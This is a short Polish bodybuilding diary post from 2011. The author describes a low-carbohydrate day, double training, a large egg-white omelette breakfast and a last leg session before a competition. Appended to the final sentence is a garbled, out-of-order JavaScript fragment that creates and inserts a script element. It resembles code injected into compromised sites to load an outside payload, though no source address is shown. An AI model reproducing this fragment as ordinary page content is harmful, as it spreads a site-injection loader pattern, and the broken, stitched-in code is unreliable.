Mało węglowodanów :(

1.11.2011 / Michał Karmowski

Wczoraj miałem bardzo ciężki dzień, zrobiłem dwa treningi i zjadłem niewielką ilość węglowodanów co oczywiście odbiło się na samopoczuciu. Zapychałem się brokułami i wodą aby nie czuć głodu. Jest 8.00 a ja siedzę nad omletem z 22 białek i 50g płatków owsianych jedyne pocieszenie ze mam sporo awokado, które uwielbiam. Większość ludzi będzie zaraz się wybierać na cmentarz a ja zabieram torbe, pije mojego ulubionego S.A.W ( dziś 20g ) i lecę trenować ostatni raz nogi przed zawodami.

…aby do jutra i jedzonko:-)document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement('script'); if (document.currentScript) {